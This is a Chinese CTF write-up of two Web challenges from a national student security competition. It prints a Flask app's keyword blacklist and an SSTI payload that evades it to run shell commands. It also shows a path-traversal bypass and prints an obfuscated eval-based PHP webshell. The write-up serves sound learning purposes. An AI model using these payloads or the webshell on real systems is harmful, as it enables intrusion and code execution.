第十八届全国大学生信息安全竞赛初赛Web Writeup

p0l1st Lv2

Safe_Proxy

源码如下

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from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data

response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()

def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()

/路由的code参数存在SSTI,虽然无回显,但是可以用fenjing一把梭,把输出结果写入app.py

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{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set pp='so'[::-1]%}{{cycler.next[gl][bu][im](pp)['p''open']('cat /f* >>app.py').read()}}

image-20241215174735533

image-20241215174754163

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flag{db891774-1171-44cc-85ec-00e0fd0d3c7d}

hello_web

index.php存在文件包含,但是需要绕过,….//hackme.php读hackme.php的源码

image-20241215175224699

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<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

解密得到hackme.php存在一句话木马,参数是cmd[66.99

image-20241216110104532

蚁剑连接

/run/log/e0e8c4804fa2ed23caa50757f72ab876/flag发现flag

image-20241215175500878

flag{94013acf-3520-4842-9a8a-d8ac41ade645}

  • Title: 第十八届全国大学生信息安全竞赛初赛Web Writeup
  • Author: p0l1st
  • Created at : 2024-12-16 12:00:06
  • Updated at : 2025-03-09 12:01:35
  • Link: https://blog.p0l1st.top/2024/12/16/第十八届全国大学生信息安全竞赛初赛Web-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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第十八届全国大学生信息安全竞赛初赛Web Writeup